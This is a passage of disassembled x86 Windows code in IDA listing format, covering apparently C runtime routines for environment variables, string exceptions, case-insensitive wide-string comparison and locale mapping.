		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25D0000h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		jmp	near ptr 71AB1B7Bh
sub_426756	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2840000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 266038Dh
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2801098h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2801098h
		nop
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
